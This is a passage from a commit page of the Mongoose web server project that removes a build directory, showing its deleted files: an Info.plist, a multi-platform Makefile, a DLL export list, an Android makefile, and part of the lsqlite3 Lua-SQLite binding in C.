Commit c0af018e authored by Sergey Lyubka's avatar Sergey Lyubka

removed build dir

parent 89ef8f2f
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key> <string>Mongoose</string>
<key>CFBundlePackageType</key> <string>APPL</string>
<key>CFBundleTypeRole</key> <string>None</string>
<key>CFBundleIconFile</key> <string>mongoose.icns</string>
<key>LSUIElement</key> <true/>
<key>RunAtLoad</key> <true/>
<key>Label</key> <string>com.kolkin.mongoose</string>
<key>ProgramArguments</key> <array> </array>
<key>KeepAlive</key> <true/>
</dict>
</plist>
# This Makefile is part of Mongoose web server project,
# https://github.com/valenok/mongoose
#
# This Makefile is GNU make compatible. You can get GNU Make from
# http://gnuwin32.sourceforge.net/packages/make.htm
PROG = mongoose
EXE_SUFFIX =
CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA)
VERSION = $(shell perl -lne \
'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h)
WP = wordpress-private-1.3
RM = rm -rf
VDIR = mongoose-$(VERSION)
# Stock windows binary builds with Lua and YASSL library.
YASSL = ../../cyassl-2.4.6
YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
YASSL_SOURCES = \
$(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
$(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
$(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
$(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
$(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
$(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
$(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
$(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
$(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
$(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
$(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
$(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
$(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
$(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
$(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
$(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
TINY_SOURCES = ../mongoose.c main.c
LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c
LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c
BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES)
SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS
LUA_FLAGS = -DUSE_LUA
LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3
BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS \
-DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS)
# Using Visual Studio 6.0. To build Mongoose:
# Set MSVC variable below to where VS 6.0 is installed on your system
# Run "PATH_TO_VC6\bin\nmake windows"
MSVC = ../../vc6
#DBG = /Zi /Od
DBG = /DNDEBUG /O1 $(CFLAGS_EXTRA)
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I.
LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
LINK = $(MSVC)/bin/link $(LINK_FLAGS)
ifeq ($(OS), Windows_NT)
EXE_SUFFIX = .exe
RM = del
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S), Linux)
CFLAGS += -ldl -lm
endif
endif
all: mongoose$(EXE_SUFFIX)
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
$(PROG): $(TINY_SOURCES)
$(CC) $(TINY_SOURCES) -o $@ $(CFLAGS)
$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES)
$(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES)
$(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS)
$(PROG)-big: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS)
unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c
$(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t
# Windows build
$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua.exe: $(LUA_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).exe: $(TINY_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).dll: $(TINY_SOURCES) Makefile
$(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@
# This is broken now due to SSL exclusion
windows_unit_test.exe: ../mongoose.c Makefile
$(CL) ./test/unit_test.c lua_5.2.1.c \
/link /libpath:$(MSVC)/lib advapi32.lib /out:$@
./$@
# MacOS build with Cocoa GUI
# For codesign to work in non-interactive mode, unlock login keychain:
# security unlock ~/Library/Keychains/login.keychain
# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
macos: $(BIG_SOURCES)
DIR=dmg/Mongoose.app
rm -rf dmg
mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources}
install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/
install -m 644 Info.plist dmg/Mongoose.app/Contents/
$(CC) $(BIG_SOURCES) \
-DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \
-framework Cocoa -ObjC -arch i386 -arch x86_64 \
-o dmg/Mongoose.app/Contents/MacOS/Mongoose
ln -fs /Applications dmg/
hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \
-srcfolder dmg -ov
#rm -rf dmg
tests:
perl ./test/test.pl $(TEST)
tarball: clean
rm -rf $(VDIR)
install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples
install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR)
install -m 644 ../docs/*.md $(VDIR)/docs
install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples
tar -czf $(VDIR).tgz $(VDIR)
release: tarball macos
wine make mongoose.exe mongoose-lua-sqlite-ssl.exe
upx mongoose.exe
upx mongoose-lua-sqlite-ssl.exe
cp mongoose.exe mongoose-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe
zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/
wp: mongoose.exe
upx mongoose.exe
cp mongoose.exe $(WP)/
zip -r $(WP).zip $(WP)
clean:
@cd ../examples && $(MAKE) clean
@$(RM) *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
*.exe *dmg* $(PROG)-* unix_unit_test
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
mg_upload
mg_download
mg_send_file
mg_get_builtin_mime_type
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
/************************************************************************
* lsqlite3 *
* Copyright (C) 2002-2007 Tiago Dionizio, Doug Currie *
* All rights reserved. *
* Author : Tiago Dionizio <tiago.dionizio@ist.utl.pt> *
* Author : Doug Currie <doug.currie@alum.mit.edu> *
* Library : lsqlite3 - a SQLite 3 database binding for Lua 5 *
* *
* Permission is hereby granted, free of charge, to any person obtaining *
* a copy of this software and associated documentation files (the *
* "Software"), to deal in the Software without restriction, including *
* without limitation the rights to use, copy, modify, merge, publish, *
* distribute, sublicense, and/or sell copies of the Software, and to *
* permit persons to whom the Software is furnished to do so, subject to *
* the following conditions: *
* *
* The above copyright notice and this permission notice shall be *
* included in all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, *
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *
************************************************************************/
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define LUA_LIB
#include "lua_5.2.1.h"
#include "sqlite3.h"
/* compile time features */
#if !defined(SQLITE_OMIT_PROGRESS_CALLBACK)
#define SQLITE_OMIT_PROGRESS_CALLBACK 0
#endif
typedef struct sdb sdb;
typedef struct sdb_vm sdb_vm;
typedef struct sdb_func sdb_func;
/* to use as C user data so i know what function sqlite is calling */
struct sdb_func {
/* references to associated lua values */
int fn_step;
int fn_finalize;
int udata;
sdb *db;
char aggregate;
sdb_func *next;
};
/* information about database */
struct sdb {
/* associated lua state */
lua_State *L;
/* sqlite database handle */
sqlite3 *db;
/* sql functions stack usage */
sdb_func *func; /* top SQL function being called */
/* references */
int busy_cb; /* busy callback */
int busy_udata;
int progress_cb; /* progress handler */
int progress_udata;
int trace_cb; /* trace callback */
int trace_udata;
};
static const char *sqlite_meta = ":sqlite3";
static const char *sqlite_vm_meta = ":sqlite3:vm";
static const char *sqlite_ctx_meta = ":sqlite3:ctx";
static int sqlite_ctx_meta_ref;
/*
** =======================================================
** Database Virtual Machine Operations
** =======================================================
*/
static void vm_push_column(lua_State *L, sqlite3_stmt *vm, int idx) {
switch (sqlite3_column_type(vm, idx)) {
case SQLITE_INTEGER:
{
sqlite_int64 i64 = sqlite3_column_int64(vm, idx);
lua_Number n = (lua_Number)i64;
if (n == i64)
lua_pushnumber(L, n);
else
lua_pushlstring(L, (const char*)sqlite3_column_text(vm, idx), sqlite3_column_bytes(vm, idx));
}
break;
case SQLITE_FLOAT:
lua_pushnumber(L, sqlite3_column_double(vm, idx));
break;
case SQLITE_TEXT:
lua_pushlstring(L, (const char*)sqlite3_column_text(vm, idx), sqlite3_column_bytes(vm, idx));
break;
case SQLITE_BLOB:
lua_pushlstring(L, sqlite3_column_blob(vm, idx), sqlite3_column_bytes(vm, idx));
break;
case SQLITE_NULL:
lua_pushnil(L);
break;
default:
lua_pushnil(L);
break;
}
}
/* virtual machine information */
struct sdb_vm {
sdb *db; /* associated database handle */
sqlite3_stmt *vm; /* virtual machine */
/* sqlite3_step info */
int columns; /* number of columns in result */
char has_values; /* true when step succeeds */
char temp; /* temporary vm used in db:rows */
};
/* called with sql text on the lua stack */
static sdb_vm *newvm(lua_State *L, sdb *db) {
sdb_vm *svm = (sdb_vm*)lua_newuserdata(L, sizeof(sdb_vm));
luaL_getmetatable(L, sqlite_vm_meta);
lua_setmetatable(L, -2); /* set metatable */
svm->db = db;
svm->columns = 0;
svm->has_values = 0;
svm->vm = NULL;
svm->temp = 0;
/* add an entry on the database table: svm -> sql text */
lua_pushlightuserdata(L, db);
lua_rawget(L, LUA_REGISTRYINDEX);
lua_pushlightuserdata(L, svm);
lua_pushvalue(L, -4); /* the sql text */
lua_rawset(L, -3);
lua_pop(L, 1);
return svm;
}
static int cleanupvm(lua_State *L, sdb_vm *svm) {
/* remove entry in database table - no harm if not present in the table */
lua_pushlightuserdata(L, svm->db);
lua_rawget(L, LUA_REGISTRYINDEX);
lua_pushlightuserdata(L, svm);
lua_pushnil(L);
lua_rawset(L, -3);
lua_pop(L, 1);
svm->columns = 0;
svm->has_values = 0;
if (!svm->vm) return 0;
lua_pushnumber(L, sqlite3_finalize(svm->vm));
svm->vm = NULL;
return 1;
}
static int stepvm(lua_State *L, sdb_vm *svm) {
int result;
int loop_limit = 3;
while ( loop_limit-- ) {
result = sqlite3_step(svm->vm);
if ( result==SQLITE_ERROR ) {
result = sqlite3_reset (svm->vm);
}
if ( result==SQLITE_SCHEMA ) {
sqlite3_stmt *vn;
const char *sql;
/* recover sql text */
lua_pushlightuserdata(L, svm->db);
lua_rawget(L, LUA_REGISTRYINDEX);
lua_pushlightuserdata(L, svm);
lua_rawget(L, -2); /* sql text */
sql = luaL_checkstring(L, -1);
/* re-prepare */
result = sqlite3_prepare(svm->db->db, sql, -1, &vn, NULL);
if (result != SQLITE_OK) break;
sqlite3_transfer_bindings(svm->vm, vn);
sqlite3_finalize(svm->vm);
svm->vm = vn;
lua_pop(L,2);
} else {
break;
}
}
return result;
}
static sdb_vm *lsqlite_getvm(lua_State *L, int index) {
sdb_vm *svm = (sdb_vm*)luaL_checkudata(L, index, sqlite_vm_meta);
if (svm == NULL) luaL_argerror(L, index, "bad sqlite virtual machine");
return svm;
}
static sdb_vm *lsqlite_checkvm(lua_State *L, int index) {
sdb_vm *svm = lsqlite_getvm(L, index);
if (svm->vm == NULL) luaL_argerror(L, index, "attempt to use closed sqlite virtual machine");
return svm;
}
static int dbvm_isopen(lua_State *L) {
sdb_vm *svm = lsqlite_getvm(L, 1);
lua_pushboolean(L, svm->vm != NULL ? 1 : 0);
return 1;
}
static int dbvm_tostring(lua_State *L) {
char buff[39];
sdb_vm *svm = lsqlite_getvm(L, 1);
if (svm->vm == NULL)
strcpy(buff, "closed");
else
sprintf(buff, "%p", svm);
lua_pushfstring(L, "sqlite virtual machine (%s)", buff);
return 1;
}
static int dbvm_gc(lua_State *L) {
sdb_vm *svm = lsqlite_getvm(L, 1);
if (svm->vm != NULL) /* ignore closed vms */
cleanupvm(L, svm);
return 0;
}
static int dbvm_step(lua_State *L) {
int result;
sdb_vm *svm = lsqlite_checkvm(L, 1);
result = stepvm(L, svm);
svm->has_values = result == SQLITE_ROW ? 1 : 0;
svm->columns = sqlite3_data_count(svm->vm);
lua_pushnumber(L, result);
return 1;
}
static int dbvm_finalize(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
return cleanupvm(L, svm);
}
static int dbvm_reset(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_reset(svm->vm);
lua_pushnumber(L, sqlite3_errcode(svm->db->db));
return 1;
}
static void dbvm_check_contents(lua_State *L, sdb_vm *svm) {
if (!svm->has_values) {
luaL_error(L, "misuse of function");
}
}
static void dbvm_check_index(lua_State *L, sdb_vm *svm, int index) {
if (index < 0 || index >= svm->columns) {
luaL_error(L, "index out of range [0..%d]", svm->columns - 1);
}
}
static void dbvm_check_bind_index(lua_State *L, sdb_vm *svm, int index) {
if (index < 1 || index > sqlite3_bind_parameter_count(svm->vm)) {
luaL_error(L, "bind index out of range [1..%d]", sqlite3_bind_parameter_count(svm->vm));
}
}
/*
** =======================================================
** Virtual Machine - generic info
** =======================================================
*/
static int dbvm_columns(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
lua_pushnumber(L, sqlite3_column_count(svm->vm));
return 1;
}
/*
** =======================================================
** Virtual Machine - getters
** =======================================================
*/
static int dbvm_get_value(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
int index = luaL_checkint(L, 2);
dbvm_check_contents(L, svm);
dbvm_check_index(L, svm, index);
vm_push_column(L, svm->vm, index);
return 1;
}
static int dbvm_get_name(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
int index = luaL_checknumber(L, 2);
dbvm_check_index(L, svm, index);
lua_pushstring(L, sqlite3_column_name(svm->vm, index));
return 1;
}
static int dbvm_get_type(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
int index = luaL_checknumber(L, 2);
dbvm_check_index(L, svm, index);
lua_pushstring(L, sqlite3_column_decltype(svm->vm, index));
return 1;
}
static int dbvm_get_values(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = svm->columns;
int n;
dbvm_check_contents(L, svm);
lua_newtable(L);
for (n = 0; n < columns;) {
vm_push_column(L, vm, n++);
lua_rawseti(L, -2, n);
}
return 1;
}
static int dbvm_get_names(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */
int n;
lua_newtable(L);
for (n = 0; n < columns;) {
lua_pushstring(L, sqlite3_column_name(vm, n++));
lua_rawseti(L, -2, n);
}
return 1;
}
static int dbvm_get_types(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */
int n;
lua_newtable(L);
for (n = 0; n < columns;) {
lua_pushstring(L, sqlite3_column_decltype(vm, n++));
lua_rawseti(L, -2, n);
}
return 1;
}
static int dbvm_get_uvalues(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = svm->columns;
int n;
dbvm_check_contents(L, svm);
lua_checkstack(L, columns);
for (n = 0; n < columns; ++n)
vm_push_column(L, vm, n);
return columns;
}
static int dbvm_get_unames(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */
int n;
lua_checkstack(L, columns);
for (n = 0; n < columns; ++n)
lua_pushstring(L, sqlite3_column_name(vm, n));
return columns;
}
static int dbvm_get_utypes(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = sqlite3_column_count(vm); /* valid as soon as statement prepared */
int n;
lua_checkstack(L, columns);
for (n = 0; n < columns; ++n)
lua_pushstring(L, sqlite3_column_decltype(vm, n));
return columns;
}
static int dbvm_get_named_values(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = svm->columns;
int n;
dbvm_check_contents(L, svm);
lua_newtable(L);
for (n = 0; n < columns; ++n) {
lua_pushstring(L, sqlite3_column_name(vm, n));
vm_push_column(L, vm, n);
lua_rawset(L, -3);
}
return 1;
}
static int dbvm_get_named_types(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int columns = sqlite3_column_count(vm);
int n;
lua_newtable(L);
for (n = 0; n < columns; ++n) {
lua_pushstring(L, sqlite3_column_name(vm, n));
lua_pushstring(L, sqlite3_column_decltype(vm, n));
lua_rawset(L, -3);
}
return 1;
}
/*
** =======================================================
** Virtual Machine - Bind
** =======================================================
*/
static int dbvm_bind_index(lua_State *L, sqlite3_stmt *vm, int index, int lindex) {
switch (lua_type(L, lindex)) {
case LUA_TSTRING:
return sqlite3_bind_text(vm, index, lua_tostring(L, lindex), lua_strlen(L, lindex), SQLITE_TRANSIENT);
case LUA_TNUMBER:
return sqlite3_bind_double(vm, index, lua_tonumber(L, lindex));
case LUA_TBOOLEAN:
return sqlite3_bind_int(vm, index, lua_toboolean(L, lindex) ? 1 : 0);
case LUA_TNONE:
case LUA_TNIL:
return sqlite3_bind_null(vm, index);
default:
luaL_error(L, "index (%d) - invalid data type for bind (%s)", index, lua_typename(L, lua_type(L, lindex)));
return SQLITE_MISUSE; /*!*/
}
}
static int dbvm_bind_parameter_count(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
lua_pushnumber(L, sqlite3_bind_parameter_count(svm->vm));
return 1;
}
static int dbvm_bind_parameter_name(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
int index = luaL_checknumber(L, 2);
dbvm_check_bind_index(L, svm, index);
lua_pushstring(L, sqlite3_bind_parameter_name(svm->vm, index));
return 1;
}
static int dbvm_bind(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int index = luaL_checkint(L, 2);
int result;
dbvm_check_bind_index(L, svm, index);
result = dbvm_bind_index(L, vm, index, 3);
lua_pushnumber(L, result);
return 1;
}
static int dbvm_bind_blob(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
int index = luaL_checkint(L, 2);
const char *value = luaL_checkstring(L, 3);
int len = lua_strlen(L, 3);
lua_pushnumber(L, sqlite3_bind_blob(svm->vm, index, value, len, SQLITE_TRANSIENT));
return 1;
}
static int dbvm_bind_values(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int top = lua_gettop(L);
int result, n;
if (top - 1 != sqlite3_bind_parameter_count(vm))
luaL_error(L,
"incorrect number of parameters to bind (%d given, %d to bind)",
top - 1,
sqlite3_bind_parameter_count(vm)
);
for (n = 2; n <= top; ++n) {
if ((result = dbvm_bind_index(L, vm, n - 1, n)) != SQLITE_OK) {
lua_pushnumber(L, result);
return 1;
}
}
lua_pushnumber(L, SQLITE_OK);
return 1;
}
static int dbvm_bind_names(lua_State *L) {
sdb_vm *svm = lsqlite_checkvm(L, 1);
sqlite3_stmt *vm = svm->vm;
int count = sqlite3_bind_parameter_count(vm);
const char *name;
int result, n;
luaL_checktype(L, 2, LUA_TTABLE);
for (n = 1; n <= count; ++n) {
name = sqlite3_bind_parameter_name(vm, n);
if (name && (name[0] == ':' || name[0] == '$')) {
lua_pushstring(L, ++name);
lua_gettable(L, 2);
result = dbvm_bind_index(L, vm, n, -1);
lua_pop(L, 1);
}
else {
lua_pushnumber(L, n);
lua_gettable(L, 2);
result = dbvm_bind_index(L, vm, n, -1);
lua_pop(L, 1);
}
if (result != SQLITE_OK) {
lua_pushnumber(L, result);
return 1;
}
}
lua_pushnumber(L, SQLITE_OK);
return 1;
}
/*
** =======================================================
** Database (internal management)
** =======================================================
*/
/*
** When creating database handles, always creates a `closed' database handle
** before opening the actual database; so, if there is a memory error, the
** database is not left opened.
**
** Creates a new 'table' and leaves it in the stack
*/
static sdb *newdb (lua_State *L) {
sdb *db = (sdb*)lua_newuserdata(L, sizeof(sdb));
db->L = L;
db->db = NULL; /* database handle is currently `closed' */
db->func = NULL;
db->busy_cb =
db->busy_udata =
db->progress_cb =
db->progress_udata =
db->trace_cb =
db->trace_udata = LUA_NOREF;
luaL_getmetatable(L, sqlite_meta);
lua_setmetatable(L, -2); /* set metatable */
/* to keep track of 'open' virtual machines */
lua_pushlightuserdata(L, db);
lua_newtable(L);
lua_rawset(L, LUA_REGISTRYINDEX);
return db;
}
static int cleanupdb(lua_State *L, sdb *db) {
sdb_func *func;
sdb_func *func_next;
int top;
int result;
/* free associated virtual machines */
lua_pushlightuserdata(L, db);
lua_rawget(L, LUA_REGISTRYINDEX);
/* close all used handles */
top = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, -2)) {
sdb_vm *svm = lua_touserdata(L, -2); /* key: vm; val: sql text */
cleanupvm(L, svm);
lua_settop(L, top);
lua_pushnil(L);
}
lua_pop(L, 1); /* pop vm table */
/* remove entry in lua registry table */
lua_pushlightuserdata(L, db);
lua_pushnil(L);
lua_rawset(L, LUA_REGISTRYINDEX);
/* 'free' all references */
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata);
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata);
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb);
luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata);
/* close database */
result = sqlite3_close(db->db);
db->db = NULL;
/* free associated memory with created functions */
func = db->func;
while (func) {
func_next = func->next;
luaL_unref(L, LUA_REGISTRYINDEX, func->fn_step);
luaL_unref(L, LUA_REGISTRYINDEX, func->fn_finalize);
luaL_unref(L, LUA_REGISTRYINDEX, func->udata);
free(func);
func = func_next;
}
db->func = NULL;
return result;
}
static sdb *lsqlite_getdb(lua_State *L, int index) {
sdb *db = (sdb*)luaL_checkudata(L, index, sqlite_meta);
// TODO lsm if (db == NULL) luaL_typerror(L, index, "sqlite database");
return db;
}
static sdb *lsqlite_checkdb(lua_State *L, int index) {
sdb *db = lsqlite_getdb(L, index);
if (db->db == NULL) luaL_argerror(L, index, "attempt to use closed sqlite database");
return db;
}
/*
** =======================================================
** User Defined Functions - Context Methods
** =======================================================
*/
typedef struct {
sqlite3_context *ctx;
int ud;
} lcontext;
static lcontext *lsqlite_make_context(lua_State *L) {
lcontext *ctx = (lcontext*)lua_newuserdata(L, sizeof(lcontext));
lua_rawgeti(L, LUA_REGISTRYINDEX, sqlite_ctx_meta_ref);
lua_setmetatable(L, -2);
ctx->ctx = NULL;
ctx->ud = LUA_NOREF;
return ctx;
}
static lcontext *lsqlite_getcontext(lua_State *L, int index) {
lcontext *ctx = (lcontext*)luaL_checkudata(L, index, sqlite_ctx_meta);
// TODO lsm if (ctx == NULL) luaL_typerror(L, index, "sqlite context");
return ctx;
}
static lcontext *lsqlite_checkcontext(lua_State *L, int index) {
lcontext *ctx = lsqlite_getcontext(L, index);
if (ctx->ctx == NULL) luaL_argerror(L, index, "invalid sqlite context");
return ctx;
}
static int lcontext_tostring(lua_State *L) {
char buff[39];
lcontext *ctx = lsqlite_getcontext(L, 1);
if (ctx->ctx == NULL)
strcpy(buff, "closed");
else
sprintf(buff, "%p", ctx->ctx);
lua_pushfstring(L, "sqlite function context (%s)", buff);
return 1;
}
static void lcontext_check_aggregate(lua_State *L, lcontext *ctx) {
sdb_func *func = (sdb_func*)sqlite3_user_data(ctx->ctx);
if (!func->aggregate) {
luaL_error(L, "attempt to call aggregate method from scalar function");
}
}
static int lcontext_user_data(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
sdb_func *func = (sdb_func*)sqlite3_user_data(ctx->ctx);
lua_rawgeti(L, LUA_REGISTRYINDEX, func->udata);
return 1;
}
static int lcontext_get_aggregate_context(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
lcontext_check_aggregate(L, ctx);
lua_rawgeti(L, LUA_REGISTRYINDEX, ctx->ud);
return 1;
}
static int lcontext_set_aggregate_context(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
lcontext_check_aggregate(L, ctx);
lua_settop(L, 2);
luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud);
ctx->ud = luaL_ref(L, LUA_REGISTRYINDEX);
return 0;
}
static int lcontext_aggregate_count(lua_State *L) {
lcontext *ctx = lsqlite_checkcontext(L, 1);
lcontext_check_aggregate(L, ctx);
lua_pushnumber(L, sqlite3_aggregate_count(ctx->ctx));
return 1;
}
#if 0
